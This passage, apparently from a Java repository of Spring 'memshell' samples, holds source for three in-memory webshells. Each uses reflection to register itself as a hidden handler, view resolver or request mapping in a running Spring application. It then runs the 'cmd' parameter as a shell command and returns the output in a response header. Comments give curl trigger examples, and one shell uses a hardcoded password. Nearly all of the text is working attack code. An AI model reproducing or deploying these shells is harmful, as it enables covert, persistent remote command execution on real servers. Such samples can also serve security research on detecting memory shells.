Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping"); 40 | Field field = abstractUrlHandlerMapping.getDeclaredField("handlerMap"); 41 | field.setAccessible(true); 42 | Map handlerMap = (Map) field.get(beanNameUrlHandlerMapping); 43 | handlerMap.put("/shell5",new No5_SimpleServletHandlerAdapterShell()); 44 | return "{\"result\":\"No5_SimpleServletHandlerAdapterShell\"}"; 45 | } 46 | 47 | @Override 48 | public void init(ServletConfig servletConfig) throws ServletException { 49 | 50 | } 51 | 52 | @Override 53 | public ServletConfig getServletConfig() { 54 | return null; 55 | } 56 | 57 | @Override 58 | public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { 59 | 60 | if (servletRequest.getParameter("cmd") != null) { 61 | boolean isLinux = true; 62 | String osTyp = System.getProperty("os.name"); 63 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 64 | isLinux = false; 65 | } 66 | String[] cmds = isLinux ? new String[]{"sh", "-c", servletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", servletRequest.getParameter("cmd")}; 67 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 68 | Scanner s = new Scanner(in).useDelimiter("\\A"); 69 | String output = s.hasNext() ? s.next() : ""; 70 | // servletResponse.getWriter().write(output); 71 | // servletResponse.getWriter().flush(); 72 | // servletResponse.getWriter().close(); 73 | HttpServletResponse response = (HttpServletResponse) servletResponse; 74 | response.setHeader("Exec-result", new String(output)); 75 | } 76 | } 77 | 78 | @Override 79 | public String getServletInfo() { 80 | return null; 81 | } 82 | 83 | @Override 84 | public void destroy() { 85 | 86 | } 87 | } 88 | 89 | -------------------------------------------------------------------------------- /No11_ViewResolverShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import com.example.springshell.utils.Util; 4 | import jakarta.servlet.http.HttpServletRequest; 5 | import jakarta.servlet.http.HttpServletResponse; 6 | import org.apache.commons.logging.Log; 7 | import org.apache.commons.logging.LogFactory; 8 | import org.springframework.http.MediaType; 9 | import org.springframework.lang.Nullable; 10 | import org.springframework.util.Assert; 11 | import org.springframework.util.StringUtils; 12 | import org.springframework.web.context.request.RequestAttributes; 13 | import org.springframework.web.context.request.RequestContextHolder; 14 | import org.springframework.web.context.request.ServletRequestAttributes; 15 | import org.springframework.web.servlet.DispatcherServlet; 16 | import org.springframework.web.servlet.SmartView; 17 | import org.springframework.web.servlet.View; 18 | import org.springframework.web.servlet.ViewResolver; 19 | 20 | import java.io.InputStream; 21 | import java.util.List; 22 | import java.util.Locale; 23 | import java.util.Map; 24 | import java.util.Scanner; 25 | 26 | // 需要访问一个不存在的 url 才可以触发,注意命令执行请求的时候的 Accept 头必须是以下 27 | // text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 28 | public class No11_ViewResolverShell implements ViewResolver { 29 | public static String injectShell() throws IllegalAccessException { 30 | DispatcherServlet servlet = new Util().getServlet(); 31 | List viewResolvers = (List) Util.getFieldValue(servlet,"viewResolvers"); 32 | viewResolvers.add(0,new No11_ViewResolverShell()); 33 | 34 | return "{\"result\":\"No11_ViewResolverShell\"}"; 35 | } 36 | 37 | protected final Log logger = LogFactory.getLog(getClass()); 38 | private boolean useNotAcceptableStatusCode = false; 39 | 40 | // exec 41 | @Override 42 | public View resolveViewName(String viewName, Locale locale) throws Exception { 43 | RequestAttributes attrs = RequestContextHolder.getRequestAttributes(); 44 | HttpServletRequest request = ((ServletRequestAttributes) attrs).getRequest(); 45 | HttpServletResponse response = ((ServletRequestAttributes) attrs).getResponse(); 46 | 47 | String passwd = request.getParameter("pass"); 48 | String cmd = request.getParameter("cmd"); 49 | if (passwd!=null && cmd!=null && passwd.equals("shell11") && !cmd.isEmpty()){ 50 | boolean islinux = true; 51 | String osType = System.getProperty("os.name"); 52 | if (osType !=null && osType.toLowerCase().contains("win")){ 53 | islinux = false; 54 | } 55 | String[] cmds = islinux ? new String[]{"sh","-c",request.getParameter("cmd")} : new String[]{"cmd.exe","/c",request.getParameter("cmd")}; 56 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 57 | Scanner s = new Scanner(in).useDelimiter("\\A"); 58 | String output = s.hasNext() ? s.next() : ""; 59 | response.setHeader("Exec-result",new String(output)); 60 | } 61 | 62 | // RequestAttributes attrs = RequestContextHolder.getRequestAttributes(); 63 | Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes"); 64 | List requestedMediaTypes = getMediaTypes(((ServletRequestAttributes) attrs).getRequest()); 65 | if (requestedMediaTypes != null) { 66 | List candidateViews = getCandidateViews(viewName, locale, requestedMediaTypes); 67 | View bestView = getBestView(candidateViews, requestedMediaTypes, attrs); 68 | if (bestView != null) { 69 | return bestView; 70 | } 71 | } 72 | 73 | String mediaTypeInfo = logger.isDebugEnabled() && requestedMediaTypes != null ? 74 | " given " + requestedMediaTypes.toString() : ""; 75 | 76 | if (this.useNotAcceptableStatusCode) { 77 | if (logger.isDebugEnabled()) { 78 | logger.debug("Using 406 NOT_ACCEPTABLE" + mediaTypeInfo); 79 | } 80 | return NOT_ACCEPTABLE_VIEW; 81 | } 82 | else { 83 | logger.debug("View remains unresolved" + mediaTypeInfo); 84 | return null; 85 | } 86 | 87 | 88 | } 89 | 90 | private static final View NOT_ACCEPTABLE_VIEW = new View() { 91 | 92 | @Override 93 | @Nullable 94 | public String getContentType() { 95 | return null; 96 | } 97 | 98 | @Override 99 | public void render(@Nullable Map model, HttpServletRequest request, HttpServletResponse response) { 100 | response.setStatus(HttpServletResponse.SC_NOT_ACCEPTABLE); 101 | } 102 | }; 103 | 104 | private View getBestView(List candidateViews, List requestedMediaTypes, RequestAttributes attrs) { 105 | for (View candidateView : candidateViews) { 106 | if (candidateView instanceof SmartView smartView) { 107 | if (smartView.isRedirectView()) { 108 | return candidateView; 109 | } 110 | } 111 | } 112 | for (MediaType mediaType : requestedMediaTypes) { 113 | for (View candidateView : candidateViews) { 114 | if (StringUtils.hasText(candidateView.getContentType())) { 115 | MediaType candidateContentType = MediaType.parseMediaType(candidateView.getContentType()); 116 | if (mediaType.isCompatibleWith(candidateContentType)) { 117 | mediaType = mediaType.removeQualityValue(); 118 | if (logger.isDebugEnabled()) { 119 | logger.debug("Selected '" + mediaType + "' given " + requestedMediaTypes); 120 | } 121 | attrs.setAttribute(View.SELECTED_CONTENT_TYPE, mediaType, RequestAttributes.SCOPE_REQUEST); 122 | return candidateView; 123 | } 124 | } 125 | } 126 | } 127 | return null; 128 | } 129 | 130 | private List getCandidateViews(String viewName, Locale locale, List requestedMediaTypes) { 131 | return null; 132 | } 133 | 134 | private List getMediaTypes(HttpServletRequest request) { 135 | return null; 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /No1_HandlerMethodShell.java: -------------------------------------------------------------------------------- 1 | package com.example.springshell.memshell; 2 | 3 | import jakarta.servlet.http.HttpServletRequest; 4 | import jakarta.servlet.http.HttpServletResponse; 5 | import org.springframework.web.bind.annotation.RequestMethod; 6 | import org.springframework.web.context.WebApplicationContext; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.context.request.ServletRequestAttributes; 9 | import org.springframework.web.servlet.mvc.condition.*; 10 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo; 11 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 12 | import org.springframework.web.util.pattern.PathPatternParser; 13 | 14 | import java.io.IOException; 15 | import java.io.InputStream; 16 | import java.lang.reflect.Constructor; 17 | import java.lang.reflect.InvocationTargetException; 18 | import java.lang.reflect.Method; 19 | import java.util.Scanner; 20 | 21 | /** 22 | * No error inject: 23 |
    24 |
  1. curl http://127.0.0.1:8080/exec?injectPath=/error/ikun
  2. 25 |
  3. curl http://127.0.0.1:8080/error/ikun?cmd=whoami
  4. 26 |
27 | * @Version v5.3.0-M1 -> v6.1.1 28 | * @author jeyiuwai 29 | */ 30 | 31 | public class No1_HandlerMethodShell { 32 | public static String injectShell() throws InvocationTargetException, InstantiationException, IllegalAccessException, IOException { 33 | HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); 34 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); 35 | try { 36 | // get mappingHandlerMapping 37 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 38 | RequestMappingHandlerMapping mappingHandlerMapping = (RequestMappingHandlerMapping) context.getBean("requestMappingHandlerMapping"); 39 | 40 | // public RequestMappingInfo(@Nullable String name, @Nullable PatternsRequestCondition patterns, 41 | // @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, 42 | // @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, 43 | // @Nullable ProducesRequestCondition produces, @Nullable RequestCondition custom) 44 | 45 | // 1.1 - mapping - wrong 46 | // PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/ikun"); 47 | // RequestMethodsRequestCondition requestMethodsRequestCondition = new RequestMethodsRequestCondition(RequestMethod.GET); 48 | // 49 | // RequestMappingInfo mapping = new RequestMappingInfo(patternsRequestCondition,requestMethodsRequestCondition,null,null,null,null,null); 50 | 51 | // 1.1 - mapping - correct 52 | // private RequestMappingInfo(@Nullable String name, 53 | // @Nullable PathPatternsRequestCondition pathPatternsCondition, 54 | // @Nullable PatternsRequestCondition patternsCondition, 55 | // RequestMethodsRequestCondition methodsCondition, ParamsRequestCondition paramsCondition, 56 | // HeadersRequestCondition headersCondition, ConsumesRequestCondition consumesCondition, 57 | // ProducesRequestCondition producesCondition, RequestConditionHolder customCondition, 58 | // RequestMappingInfo.BuilderConfiguration options) 59 | 60 | Constructor requestMappingInfoConstructor = null; 61 | try { 62 | Class requestMappingInfoClass = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo"); 63 | requestMappingInfoConstructor = requestMappingInfoClass.getDeclaredConstructor(String.class, PathPatternsRequestCondition.class, PatternsRequestCondition.class, 64 | RequestMethodsRequestCondition.class, ParamsRequestCondition.class, 65 | HeadersRequestCondition.class, ConsumesRequestCondition.class, 66 | ProducesRequestCondition.class, RequestConditionHolder.class, 67 | RequestMappingInfo.BuilderConfiguration.class); 68 | requestMappingInfoConstructor.setAccessible(true); 69 | } catch (Exception e) { 70 | System.out.println("here1"); 71 | e.printStackTrace(); 72 | } 73 | 74 | // 注入 Webshell 的路径 75 | // String injectPath= request.getParameter("injectPath"); 76 | String injectPath= "/error/shell1"; 77 | PathPatternsRequestCondition pathPatternsRequestCondition = new PathPatternsRequestCondition(new PathPatternParser(), injectPath); 78 | 79 | RequestMappingInfo mapping = (RequestMappingInfo) requestMappingInfoConstructor 80 | .newInstance(null, 81 | pathPatternsRequestCondition, 82 | null, 83 | new RequestMethodsRequestCondition(RequestMethod.GET), 84 | new ParamsRequestCondition(), 85 | new HeadersRequestCondition(), 86 | new ConsumesRequestCondition(), 87 | new ProducesRequestCondition(), 88 | new RequestConditionHolder(null), 89 | new RequestMappingInfo.BuilderConfiguration() 90 | ); 91 | 92 | // 1.2 - handler 93 | No1_HandlerMethodShell handler = new No1_HandlerMethodShell(); 94 | 95 | // 1.3 - method 96 | try { 97 | Method method = No1_HandlerMethodShell.class.getMethod("evilMethod"); 98 | // *2* - register Mapping 99 | mappingHandlerMapping.registerMapping(mapping, handler, method); 100 | // response.getWriter().println("inject success!"); 101 | return "{\"result\":\"No1_HandlerMethodShell_success\"}"; 102 | } catch (NoSuchMethodException e) { 103 | // throw new RuntimeException(e); 104 | } 105 | }catch (IllegalStateException e) { 106 | // 处理重复注入的报错 107 | // e.printStackTrace(); 108 | // response.getWriter().println("injected already!"); 109 | return "{\"result\":\"No1_HandlerMethodShell_already\"}"; 110 | } 111 | return "{\"result\":\"No1_HandlerMethodShell\"}"; 112 | } 113 | 114 | public void evilMethod() { 115 | try { 116 | HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); 117 | HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); 118 | if (request.getParameter("cmd") != null) { 119 | boolean isLinux = true; 120 | String osTyp = System.getProperty("os.name"); 121 | if (osTyp != null && osTyp.toLowerCase().contains("win")) { 122 | isLinux = false; 123 | } 124 | String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")}; 125 | InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 126 | Scanner s = new Scanner(in).useDelimiter("\\A"); 127 | String output = s.hasNext() ? s.next() : ""; 128 | // response.getWriter().write(output); 129 | // response.getWriter().flush(); 130 | // response.getWriter().close(); 131 | response.setHeader("Exec-result", new String(output)); 132 | } 133 | 134 | }catch (Exception e) { 135 | System.out.println("here3"); 136 | } 137 | } 138 | } 139 | --------------------------------------------------------------------------------